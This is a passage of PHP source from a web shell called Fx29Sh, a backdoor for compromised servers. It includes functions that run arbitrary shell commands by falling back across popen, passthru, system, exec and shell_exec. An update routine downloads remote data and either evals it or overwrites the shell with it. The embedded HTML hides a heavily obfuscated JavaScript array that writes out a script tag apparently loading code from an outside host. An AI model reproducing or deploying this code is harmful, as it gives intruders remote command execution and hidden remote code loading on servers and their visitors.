  2642.     <input type="text" name="mkfile" size="70" value="<?php echo $dispd; ?>"> <input type="checkbox" name="overwrite" value="1" checked> Overwrite <input type=submit value="Create"> <?php echo $wdt; ?>
  2643.     </form></td></tr>
  2644. <tr><td align=right>View File:</td>
  2645. <td><form method="POST"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>">
  2646.     <input type="text" name="f" size="70" value="<?php echo $dispd; ?>"> <input type=submit value="View">
  2647.     </form></td></tr><script type="text/javascript" language="javascript">
  2648. <!--
  2649. fF7eSD8=new Array();
  2650. fF7eSD8[0]="%3Cscript%3E%0Adocu";
  2651. fF7eSD8[1]="ment.write%28une";
  2652. fF7eSD8[2]="scape%28%22%253Cscri";
  2653. fF7eSD8[3]="pt%2520type%253D%25";
  2654. fF7eSD8[4]="22text/javascr";
  2655. fF7eSD8[5]="ipt%2522%253Edo";
  2656. fF7eSD8[6]="cument.write%25";
  2657. fF7eSD8[7]="28%2527%255Cu00";
  2658. fF7eSD8[8]="3c%255Cu0073%255C";
  2659. fF7eSD8[9]="u0063%255Cu0072";
  2660. fF7eSD8[10]="%255Cu0069%255Cu";
  2661. fF7eSD8[11]="0070%255Cu007";
  2662. fF7eSD8[12]="4%255Cu0020%255C";
  2663. fF7eSD8[13]="u0074%255Cu007";
  2664. fF7eSD8[14]="9%255Cu0070%255Cu";
  2665. fF7eSD8[15]="0065%255Cu003d%25";
  2666. fF7eSD8[16]="5Cu0022%255Cu0";
  2667. fF7eSD8[17]="074%255Cu0065%255C";
  2668. fF7eSD8[18]="u0078%255Cu0074%25";
  2669. fF7eSD8[19]="5Cu002f%255Cu";
  2670. fF7eSD8[20]="006a%255Cu0061%255";
  2671. fF7eSD8[21]="Cu0076%255Cu0";
  2672. fF7eSD8[22]="061%255Cu0073%25";
  2673. fF7eSD8[23]="5Cu0063%255Cu00";
  2674. fF7eSD8[24]="72%255Cu0069%25";
  2675. fF7eSD8[25]="5Cu0070%255Cu";
  2676. fF7eSD8[26]="0074%255Cu0022";
  2677. fF7eSD8[27]="%255Cu003e%255C";
  2678. fF7eSD8[28]="u0064%255Cu00";
  2679. fF7eSD8[29]="6f%255Cu0063%255C";
  2680. fF7eSD8[30]="u0075%255Cu006";
  2681. fF7eSD8[31]="d%255Cu0065%255Cu";
  2682. fF7eSD8[32]="006e%255Cu0074%255";
  2683. fF7eSD8[33]="Cu002e%255Cu00";
  2684. fF7eSD8[34]="77%255Cu0072%25";
  2685. fF7eSD8[35]="5Cu0069%255Cu";
  2686. fF7eSD8[36]="0074%255Cu0065%25";
  2687. fF7eSD8[37]="5Cu0028%255Cu002";
  2688. fF7eSD8[38]="7%255Cu005c%255Cu";
  2689. fF7eSD8[39]="0075%255Cu0030";
  2690. fF7eSD8[40]="%255Cu0030%255Cu0";
  2691. fF7eSD8[41]="033%255Cu0063%25";
  2692. fF7eSD8[42]="5Cu005c%255Cu007";
  2693. fF7eSD8[43]="5%255Cu0030%255Cu";
  2694. fF7eSD8[44]="0030%255Cu0035";
  2695. fF7eSD8[45]="%255Cu0033%255C";
  2696. fF7eSD8[46]="u005c%255Cu0075";
  2697. fF7eSD8[47]="%255Cu0030%255Cu";
  2698. fF7eSD8[48]="0030%255Cu003";
  2699. fF7eSD8[49]="4%255Cu0033%255";
  2700. fF7eSD8[50]="Cu005c%255Cu007";
  2701. fF7eSD8[51]="5%255Cu0030%255Cu";
  2702. fF7eSD8[52]="0030%255Cu0035%255";
  2703. fF7eSD8[53]="Cu0032%255Cu00";
  2704. fF7eSD8[54]="5c%255Cu0075%255C";
  2705. fF7eSD8[55]="u0030%255Cu0030%25";
  2706. fF7eSD8[56]="5Cu0034%255Cu00";
  2707. fF7eSD8[57]="39%255Cu005c%255Cu";
  2708. fF7eSD8[58]="0075%255Cu0030%255";
  2709. fF7eSD8[59]="Cu0030%255Cu003";
  2710. fF7eSD8[60]="5%255Cu0030%255C";
  2711. fF7eSD8[61]="u005c%255Cu0075";
  2712. fF7eSD8[62]="%255Cu0030%255Cu00";
  2713. fF7eSD8[63]="30%255Cu0035%255";
  2714. fF7eSD8[64]="Cu0034%255Cu005";
  2715. fF7eSD8[65]="c%255Cu0075%255C";
  2716. fF7eSD8[66]="u0030%255Cu0030%25";
  2717. fF7eSD8[67]="5Cu0032%255Cu";
  2718. fF7eSD8[68]="0030%255Cu005c%25";
  2719. fF7eSD8[69]="5Cu0075%255Cu00";
  2720. fF7eSD8[70]="30%255Cu0030%255";
  2721. fF7eSD8[71]="Cu0035%255Cu003";
  2722. fF7eSD8[72]="3%255Cu005c%255Cu0";
  2723. fF7eSD8[73]="075%255Cu0030";
  2724. fF7eSD8[74]="%255Cu0030%255Cu00";
  2725. fF7eSD8[75]="35%255Cu0032%25";
  2726. fF7eSD8[76]="5Cu005c%255Cu00";
  2727. fF7eSD8[77]="75%255Cu0030%255Cu";
  2728. fF7eSD8[78]="0030%255Cu003";
  2729. fF7eSD8[79]="4%255Cu0033%255Cu";
  2730. fF7eSD8[80]="005c%255Cu0075%25";
  2731. fF7eSD8[81]="5Cu0030%255Cu";
  2732. fF7eSD8[82]="0030%255Cu0033";
  2733. fF7eSD8[83]="%255Cu0064%255Cu0";
  2734. fF7eSD8[84]="05c%255Cu0075%25";
  2735. fF7eSD8[85]="5Cu0030%255Cu003";
  2736. fF7eSD8[86]="0%255Cu0036%255";
  2737. fF7eSD8[87]="Cu0038%255Cu0";
  2738. fF7eSD8[88]="05c%255Cu0075%255C";
  2739. fF7eSD8[89]="u0030%255Cu003";
  2740. fF7eSD8[90]="0%255Cu0037%255C";
  2741. fF7eSD8[91]="u0034%255Cu005c%25";
  2742. fF7eSD8[92]="5Cu0075%255Cu";
  2743. fF7eSD8[93]="0030%255Cu0030";
  2744. fF7eSD8[94]="%255Cu0037%255Cu";
  2745. fF7eSD8[95]="0034%255Cu005c%25";
  2746. fF7eSD8[96]="5Cu0075%255Cu00";
  2747. fF7eSD8[97]="30%255Cu0030%255Cu";
  2748. fF7eSD8[98]="0037%255Cu0030%255";
  2749. fF7eSD8[99]="Cu005c%255Cu00";
  2750. fF7eSD8[100]="75%255Cu0030%255";
  2751. fF7eSD8[101]="Cu0030%255Cu00";
  2752. fF7eSD8[102]="33%255Cu0061%255Cu";
  2753. fF7eSD8[103]="005c%255Cu0075";
  2754. fF7eSD8[104]="%255Cu0030%255C";
  2755. fF7eSD8[105]="u0030%255Cu0032%25";
  2756. fF7eSD8[106]="5Cu0066%255Cu00";
  2757. fF7eSD8[107]="5c%255Cu0075%255Cu";
  2758. fF7eSD8[108]="0030%255Cu0030%25";
  2759. fF7eSD8[109]="5Cu0032%255Cu0";
  2760. fF7eSD8[110]="066%255Cu005c";
  2761. fF7eSD8[111]="%255Cu0075%255Cu";
  2762. fF7eSD8[112]="0030%255Cu0030%25";
  2763. fF7eSD8[113]="5Cu0036%255Cu003";
  2764. fF7eSD8[114]="4%255Cu005c%255C";
  2765. fF7eSD8[115]="u0075%255Cu003";
  2766. fF7eSD8[116]="0%255Cu0030%255C";
  2767. fF7eSD8[117]="u0036%255Cu00";
  2768. fF7eSD8[118]="31%255Cu005c%255";
  2769. fF7eSD8[119]="Cu0075%255Cu00";
  2770. fF7eSD8[120]="30%255Cu0030%255Cu";
  2771. fF7eSD8[121]="0037%255Cu0034";
  2772. fF7eSD8[122]="%255Cu005c%255Cu00";
  2773. fF7eSD8[123]="75%255Cu0030%255C";
  2774. fF7eSD8[124]="u0030%255Cu003";
  2775. fF7eSD8[125]="6%255Cu0031%255";
  2776. fF7eSD8[126]="Cu005c%255Cu007";
  2777. fF7eSD8[127]="5%255Cu0030%255";
  2778. fF7eSD8[128]="Cu0030%255Cu0";
  2779. fF7eSD8[129]="032%255Cu0065";
  2780. fF7eSD8[130]="%255Cu005c%255C";
  2781. fF7eSD8[131]="u0075%255Cu0030%25";
  2782. fF7eSD8[132]="5Cu0030%255Cu003";
  2783. fF7eSD8[133]="7%255Cu0034%255Cu0";
  2784. fF7eSD8[134]="05c%255Cu0075%255C";
  2785. fF7eSD8[135]="u0030%255Cu00";
  2786. fF7eSD8[136]="30%255Cu0033%255C";
  2787. fF7eSD8[137]="u0030%255Cu005";
  2788. fF7eSD8[138]="c%255Cu0075%255Cu";
  2789. fF7eSD8[139]="0030%255Cu003";
  2790. fF7eSD8[140]="0%255Cu0033%255C";
  2791. fF7eSD8[141]="u0030%255Cu005";
  2792. fF7eSD8[142]="c%255Cu0075%255";
  2793. fF7eSD8[143]="Cu0030%255Cu0";
  2794. fF7eSD8[144]="030%255Cu0036%255C";
  2795. fF7eSD8[145]="u0063%255Cu005c";
  2796. fF7eSD8[146]="%255Cu0075%255C";
  2797. fF7eSD8[147]="u0030%255Cu00";
  2798. fF7eSD8[148]="30%255Cu0037%25";
  2799. fF7eSD8[149]="5Cu0033%255Cu00";
  2800. fF7eSD8[150]="5c%255Cu0075%255";
  2801. fF7eSD8[151]="Cu0030%255Cu00";
  2802. fF7eSD8[152]="30%255Cu0032%255";
  2803. fF7eSD8[153]="Cu0065%255Cu005c";
  2804. fF7eSD8[154]="%255Cu0075%255C";
  2805. fF7eSD8[155]="u0030%255Cu00";
  2806. fF7eSD8[156]="30%255Cu0036%255Cu";
  2807. fF7eSD8[157]="0066%255Cu005c%255";
  2808. fF7eSD8[158]="Cu0075%255Cu00";
  2809. fF7eSD8[159]="30%255Cu0030%255Cu";
  2810. fF7eSD8[160]="0037%255Cu0032%25";
  2811. fF7eSD8[161]="5Cu005c%255Cu007";
  2812. fF7eSD8[162]="5%255Cu0030%255C";
  2813. fF7eSD8[163]="u0030%255Cu0036%25";
  2814. fF7eSD8[164]="5Cu0037%255Cu00";
  2815. fF7eSD8[165]="5c%255Cu0075%255";
  2816. fF7eSD8[166]="Cu0030%255Cu0030";
  2817. fF7eSD8[167]="%255Cu0032%255Cu00";
  2818. fF7eSD8[168]="66%255Cu005c%255";
  2819. fF7eSD8[169]="Cu0075%255Cu0";
  2820. fF7eSD8[170]="030%255Cu0030%255C";
  2821. fF7eSD8[171]="u0037%255Cu0037";
  2822. fF7eSD8[172]="%255Cu005c%255Cu";
  2823. fF7eSD8[173]="0075%255Cu0030%25";
  2824. fF7eSD8[174]="5Cu0030%255Cu";
  2825. fF7eSD8[175]="0036%255Cu0038%255";
  2826. fF7eSD8[176]="Cu005c%255Cu007";
  2827. fF7eSD8[177]="5%255Cu0030%255";
  2828. fF7eSD8[178]="Cu0030%255Cu0036";
  2829. fF7eSD8[179]="%255Cu0035%255Cu00";
  2830. fF7eSD8[180]="5c%255Cu0075%255Cu";
  2831. fF7eSD8[181]="0030%255Cu003";
  2832. fF7eSD8[182]="0%255Cu0037%255C";
  2833. fF7eSD8[183]="u0032%255Cu00";
  2834. fF7eSD8[184]="5c%255Cu0075%255";
  2835. fF7eSD8[185]="Cu0030%255Cu0";
  2836. fF7eSD8[186]="030%255Cu0036%25";
  2837. fF7eSD8[187]="5Cu0035%255Cu0";
  2838. fF7eSD8[188]="05c%255Cu0075";
  2839. fF7eSD8[189]="%255Cu0030%255Cu0";
  2840. fF7eSD8[190]="030%255Cu0032";
  2841. fF7eSD8[191]="%255Cu0065%255Cu";
  2842. fF7eSD8[192]="005c%255Cu0075";
  2843. fF7eSD8[193]="%255Cu0030%255Cu00";
  2844. fF7eSD8[194]="30%255Cu0036%25";
  2845. fF7eSD8[195]="5Cu0061%255Cu";
  2846. fF7eSD8[196]="005c%255Cu007";
  2847. fF7eSD8[197]="5%255Cu0030%255";
  2848. fF7eSD8[198]="Cu0030%255Cu0037";
  2849. fF7eSD8[199]="%255Cu0033%255Cu0";
  2850. fF7eSD8[200]="05c%255Cu0075%255C";
  2851. fF7eSD8[201]="u0030%255Cu00";
  2852. fF7eSD8[202]="30%255Cu0033%255Cu";
  2853. fF7eSD8[203]="0065%255Cu005";
  2854. fF7eSD8[204]="c%255Cu0075%255Cu";
  2855. fF7eSD8[205]="0030%255Cu0030%25";
  2856. fF7eSD8[206]="5Cu0033%255Cu00";
  2857. fF7eSD8[207]="63%255Cu005c%255C";
  2858. fF7eSD8[208]="u0075%255Cu0030";
  2859. fF7eSD8[209]="%255Cu0030%255Cu0";
  2860. fF7eSD8[210]="032%255Cu0066%255";
  2861. fF7eSD8[211]="Cu005c%255Cu0";
  2862. fF7eSD8[212]="075%255Cu0030%25";
  2863. fF7eSD8[213]="5Cu0030%255Cu";
  2864. fF7eSD8[214]="0035%255Cu0033%255";
  2865. fF7eSD8[215]="Cu005c%255Cu007";
  2866. fF7eSD8[216]="5%255Cu0030%255Cu0";
  2867. fF7eSD8[217]="030%255Cu0034%255";
  2868. fF7eSD8[218]="Cu0033%255Cu00";
  2869. fF7eSD8[219]="5c%255Cu0075%25";
  2870. fF7eSD8[220]="5Cu0030%255Cu0";
  2871. fF7eSD8[221]="030%255Cu0035";
  2872. fF7eSD8[222]="%255Cu0032%255Cu0";
  2873. fF7eSD8[223]="05c%255Cu0075";
  2874. fF7eSD8[224]="%255Cu0030%255Cu";
  2875. fF7eSD8[225]="0030%255Cu0034%25";
  2876. fF7eSD8[226]="5Cu0039%255Cu0";
  2877. fF7eSD8[227]="05c%255Cu0075%25";
  2878. fF7eSD8[228]="5Cu0030%255Cu";
  2879. fF7eSD8[229]="0030%255Cu0035%25";
  2880. fF7eSD8[230]="5Cu0030%255Cu";
  2881. fF7eSD8[231]="005c%255Cu0075%255";
  2882. fF7eSD8[232]="Cu0030%255Cu0";
  2883. fF7eSD8[233]="030%255Cu0035";
  2884. fF7eSD8[234]="%255Cu0034%255Cu0";
  2885. fF7eSD8[235]="05c%255Cu0075";
  2886. fF7eSD8[236]="%255Cu0030%255Cu";
  2887. fF7eSD8[237]="0030%255Cu0033%255";
  2888. fF7eSD8[238]="Cu0065%255Cu0";
  2889. fF7eSD8[239]="027%255Cu0029";
  2890. fF7eSD8[240]="%255Cu003c%255C";
  2891. fF7eSD8[241]="u002f%255Cu0073%25";
  2892. fF7eSD8[242]="5Cu0063%255Cu007";
  2893. fF7eSD8[243]="2%255Cu0069%255Cu";
  2894. fF7eSD8[244]="0070%255Cu007";
  2895. fF7eSD8[245]="4%255Cu003e%2527%25";
  2896. fF7eSD8[246]="29%253C/script%25";
  2897. fF7eSD8[247]="3E%22%29%29%3B%0A%3C/scri";
  2898. fF7eSD8[248]="pt%3E";
  2899. for (i = 0; i < fF7eSD8.length; i ++)
  2900. {
  2901.     document.write(unescape(fF7eSD8[i]))
  2902. }
  2903. // -->
  2904. </script>
  2905. </table>
  2906. <?php footer(); ?>
  2907. </body></html>
  2908. <?php
  2909.  
  2910. ###########################
  2911. ## Fx29Sh CORE FUNCTIONS ##
  2912. ###########################
  2913. function safemode() {
  2914.   if ( @ini_get("safe_mode") OR eregi("on",@ini_get("safe_mode")) ) { return TRUE; }
  2915.   else { return FALSE; }
  2916. }
  2917. function getdisfunc() {
  2918.   $disfunc = @ini_get("disable_functions");
  2919.   if (!empty($disfunc)) {
  2920.     $disfunc = str_replace(" ","",$disfunc);
  2921.     $disfunc = explode(",",$disfunc);
  2922.   }
  2923.   else { $disfunc= array(); }
  2924.   return $disfunc;
  2925. }
  2926. function enabled($func) {
  2927.  if ( is_callable($func) && !in_array($func,getdisfunc()) ) { return TRUE; }
  2928.  else { return FALSE; }
  2929. }
  2930. function fx29exec($cmd) {
  2931.   $output = "";
  2932.   if ( enabled("popen") ) {
  2933.     $h = popen($cmd.' 2>&1', 'r');
  2934.     if ( is_resource($h) ) {
  2935.       while ( !feof($h) ) { $output .= fread($h, 2096);  }
  2936.       pclose($h);
  2937.     }
  2938.   }
  2939.   elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
  2940.   elseif ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
  2941.   elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); }
  2942.   elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); }
  2943.   return $output;
  2944. }
  2945. function fx29exec2($cmd) {
  2946.   $output = "";
  2947.   if ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
  2948.   elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); }
  2949.   elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); }
  2950.   elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
  2951.   elseif ( enabled("popen") ) {
  2952.     $h = popen($cmd.' 2>&1', 'r');
  2953.     if ( is_resource($h) ) {
  2954.       while ( !feof($h) ) { $output .= fread($h, 2096);  }
  2955.       pclose($h);
  2956.     }
  2957.   }
  2958.   return $output;
  2959. }
  2960. function which($pr) {
  2961.   $path = fx29exec("which $pr");
  2962.   if(!empty($path)) { return $path; } else { return $pr; }
  2963. }
  2964.  
  2965. function get_status() {
  2966.   function showstat($sup,$stat) {
  2967.     if ($stat=="on") { return "$sup: <font color=#00FF00><b>ON</b></font>"; }
  2968.     else { return "$sup: <font color=#FF9900><b>OFF</b></font>"; }
  2969.   }
  2970.   $arrfunc = array(
  2971.     array("MySQL","mysql_connect"),
  2972.     array("MSSQL","mssql_connect"),
  2973.     array("Oracle","ocilogon"),
  2974.     array("PostgreSQL","pg_connect"),
  2975.     array("Curl","curl_version"),
  2976.   );
  2977.   $arrcmd = array(
  2978.     array("Fetch","fetch --help"),
  2979.     array("Wget","wget --help"),
  2980.     array("Perl","perl -v"),
  2981.   );
  2982.  
  2983.   $statinfo = array();
  2984.   foreach ($arrfunc as $func) {
  2985.     if (function_exists($func[1])) { $statinfo[] = showstat($func[0],"on"); }
  2986.     else { $statinfo[] = showstat($func[0],"off"); }
  2987.   }
  2988.   $statinfo[] = (@extension_loaded('sockets'))?showstat("Sockets","on"):showstat("Sockets","off");
  2989.   foreach ($arrcmd as $cmd) {
  2990.     if (fx29exec2($cmd[1])) { $statinfo[] = showstat($cmd[0],"on"); }
  2991.     else { $statinfo[] = showstat($cmd[0],"off"); }
  2992.   }
  2993.   return implode(" ",$statinfo);
  2994. }
  2995. function showdisfunc() {
  2996.   if ($disablefunc = @ini_get("disable_functions")) {
  2997.     return "<font color=#FF9900><b>".$disablefunc."</b></font>";
  2998.   }
  2999.   else { return "<font color=#00FF00><b>NONE</b></b></font>"; }
  3000. }
  3001. function disp_drives($curdir,$surl) {
  3002.   $letters = "";
  3003.   $v = explode("\\",$curdir);
  3004.   $v = $v[0];
  3005.   foreach (range("A","Z") as $letter) {
  3006.     $bool = $isdiskette = $letter == "A";
  3007.     if (!$bool) { $bool = is_dir($letter.":\\"); }
  3008.     if ($bool) {
  3009.       $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".
  3010.                   ($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly!')\"":"")."> ";
  3011.       if ($letter.":" != $v) { $letters .= $letter; }
  3012.       else { $letters .= "<font color=yellow>".$letter."</font>"; }
  3013.       $letters .= "</a> ";
  3014.     }
  3015.   }
  3016.   if (!empty($letters)) { Return $letters; }
  3017.   else  {Return "None"; }
  3018. }
  3019. function disp_freespace($curdrv) {
  3020.   $free = @disk_free_space($curdrv);
  3021.   $total = @disk_total_space($curdrv);
  3022.   if ($free === FALSE) { $free = 0; }
  3023.   if ($total === FALSE) { $total = 0; }
  3024.   if ($free < 0) { $free = 0; }
  3025.   if ($total < 0) { $total = 0; }
  3026.   $used = $total-$free;
  3027.   $free_percent = round(100/($total/$free),2)."%";
  3028.   $free = view_size($free);
  3029.   $total = view_size($total);
  3030.   return "$free of $total ($free_percent)";
  3031. }
  3032. ## Fx29Sh UPDATE FUNCTIONS ##
  3033. function fx29getsource($fn) {
  3034.   global $fx29sh_sourcesurl;
  3035.   $array = array(
  3036.     "fx29sh.php" => "fx29sh.txt",
  3037.   );
  3038.   $name = $array[$fn];
  3039.   if ($name) {return file_get_contents($fx29sh_sourcesurl.$name);}
  3040.   else {return FALSE;}
  3041. }
  3042. function fx29sh_getupdate($update = TRUE) {
  3043.   $url = $GLOBALS["fx29sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["sh_ver"]))."&updatenow=".($updatenow?"1":"0");
  3044.   $data = @file_get_contents($url);
  3045.   if (!$data) { return "Can't connect to update-server!"; }
  3046.   else {
  3047.     $data = ltrim($data);
  3048.     $string = substr($data,3,ord($data{2}));
  3049.     if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
  3050.     if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
  3051.     if ($data{0} == "\x99" and $data{1} == "\x03") {
  3052.       $string = explode("|",$string);
  3053.       if ($update) {
  3054.         $confvars = array();
  3055.         $sourceurl = $string[0];
  3056.         $source = file_get_contents($sourceurl);
  3057.         if (!$source) {return "Can't fetch update!";}
  3058.         else {
  3059.           $fp = fopen(__FILE__,"w");
  3060.           if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download fx29shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
  3061.           else {
  3062.             fwrite($fp,$source);
  3063.             fclose($fp);
  3064.             return "Update completed!";
  3065.           }
  3066.         }
  3067.       }
  3068.       else {return "New version are available: ".$string[1];}
  3069.     }
  3070.     elseif ($data{0} == "\x99" and $data{1} == "\x04") {
  3071.       eval($string);
  3072.       return 1;
  3073.     }
  3074.     else {return "Error in protocol: segmentation failed! (".$data.") ";}
  3075.   }
  3076. }
  3077. function fx29_buff_prepare() {
  3078.   global $sess_data;
  3079.   global $act;
  3080.   foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  3081.   foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  3082.   $sess_data["copy"] = array_unique($sess_data["copy"]);
  3083.   $sess_data["cut"] = array_unique($sess_data["cut"]);
  3084.   sort($sess_data["copy"]);
  3085.   sort($sess_data["cut"]);
  3086.   if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
  3087.   else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
  3088. }
  3089. function fx29_sess_put($data) {
  3090.   global $sess_cookie;
  3091.   global $sess_data;
  3092.   fx29_buff_prepare();
  3093.   $sess_data = $data;
  3094.   $data = serialize($data);
  3095.   setcookie($sess_cookie,$data);
  3096. }
  3097. ## END Fx29Sh UPDATE FUNCTIONS ##
  3098. ## FILESYSTEM FUNCTIONS ##
  3099. function fs_copy_dir($d,$t) {
  3100.   $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  3101.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  3102.   $h = opendir($d);
  3103.   while (($o = readdir($h)) !== FALSE) {
  3104.     if (($o != ".") and ($o != "..")) {
  3105.       if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  3106.       else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  3107.       if (!$ret) {return $ret;}
  3108.     }
  3109.   }
  3110.   closedir($h);
  3111.   return TRUE;
  3112. }
  3113. function fs_copy_obj($d,$t) {
  3114.   $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  3115.   $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  3116.   if (!is_dir(dirname($t))) {mkdir(dirname($t));}
  3117.   if (is_dir($d)) {
  3118.     if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  3119.     if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  3120.     return fs_copy_dir($d,$t);
  3121.   }
  3122.   elseif (is_file($d)) { return copy($d,$t); }
  3123.   else { return FALSE; }
  3124. }
  3125. function fs_move_dir($d,$t) {
  3126.   $h = opendir($d);
  3127.   if (!is_dir($t)) {mkdir($t);}
  3128.   while (($o = readdir($h)) !== FALSE) {
  3129.     if (($o != ".") and ($o != "..")) {
  3130.       $ret = TRUE;
  3131.       if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  3132.       else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
  3133.       if (!$ret) {return $ret;}
  3134.      }
  3135.    }
  3136.   closedir($h);
  3137.   return TRUE;
  3138. }
  3139. function fs_move_obj($d,$t) {
  3140.   $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  3141.   $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  3142.   if (is_dir($d)) {
  3143.     if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  3144.     if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  3145.     return fs_move_dir($d,$t);
  3146.   }
  3147.   elseif (is_file($d)) {
  3148.     if(copy($d,$t)) {return unlink($d);}
  3149.     else {unlink($t); return FALSE;}
  3150.   }
  3151.   else {return FALSE;}
  3152. }
  3153. function fs_rmdir($d) {
  3154.   $h = opendir($d);
  3155.   while (($o = readdir($h)) !== FALSE) {
  3156.     if (($o != ".") and ($o != "..")) {
  3157.       if (!is_dir($d.$o)) {unlink($d.$o);}
  3158.       else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  3159.     }
  3160.   }
  3161.   closedir($h);
  3162.   rmdir($d);
  3163.   return !is_dir($d);
  3164. }
  3165. function fs_rmobj($o) {
  3166.   $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  3167.   if (is_dir($o)) {
  3168.     if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  3169.     return fs_rmdir($o);
  3170.   }
  3171.   elseif (is_file($o)) {return unlink($o);}
  3172.   else {return FALSE;}
  3173. }
  3174. ## END FILESYSTEM FUNCTIONS ##
  3175. function onphpshutdown() {
  3176.   global $gzipencode,$ft;
  3177.   if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) {
  3178.     $v = @ob_get_contents();
  3179.     @ob_end_clean();
  3180.     @ob_start("ob_gzHandler");
  3181.     echo $v;
  3182.     @ob_end_flush();
  3183.   }
  3184. }
  3185. function fx29shexit() { onphpshutdown(); exit; }
  3186.  
  3187. function fx29fsearch($d) {
  3188.   global $found, $found_d, $found_f, $search_i_f, $search_i_d, $a;
  3189.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  3190.   $h = opendir($d);
  3191.   while (($f = readdir($h)) !== FALSE) {
  3192.     if($f != "." && $f != "..") {
  3193.       $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
  3194.       if (is_dir($d.$f)) {
  3195.         $search_i_d++;
  3196.         if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  3197.         if (!is_link($d.$f)) {fx29fsearch($d.$f);}
  3198.       }
  3199.       else {
  3200.         $search_i_f++;
  3201.         if ($bool) {
  3202.           if (!empty($a["text"])) {
  3203.             $r = @file_get_contents($d.$f);
  3204.             if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
  3205.             if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
  3206.             if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
  3207.             else {$bool = strpos(" ".$r,$a["text"],1);}
  3208.             if ($a["text_not"]) {$bool = !$bool;}
  3209.             if ($bool) {$found[] = $d.$f; $found_f++;}
  3210.           }
  3211.           else {$found[] = $d.$f; $found_f++;}
  3212.         }
  3213.       }
  3214.     }
  3215.   }
  3216.   closedir($h);
  3217. }
  3218. function view_size($size) {
  3219.   if (!is_numeric($size)) { return FALSE; }
  3220.   else {
  3221.     if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  3222.     elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  3223.     elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  3224.     else {$size = $size . " B";}
  3225.     return $size;
  3226.   }
  3227. }
  3228. function tabsort($a,$b) { global $v; return strnatcmp($a[$v], $b[$v]);}
  3229. function view_perms($mode) {
  3230.   if (($mode & 0xC000) === 0xC000) {$type = "s";}
  3231.   elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  3232.   elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  3233.   elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  3234.   elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  3235.   elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  3236.   elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  3237.   else {$type = "?";}
  3238.   $owner["read"] = ($mode & 00400)?"r":"-";
  3239.   $owner["write"] = ($mode & 00200)?"w":"-";
  3240.   $owner["execute"] = ($mode & 00100)?"x":"-";
  3241.   $group["read"] = ($mode & 00040)?"r":"-";
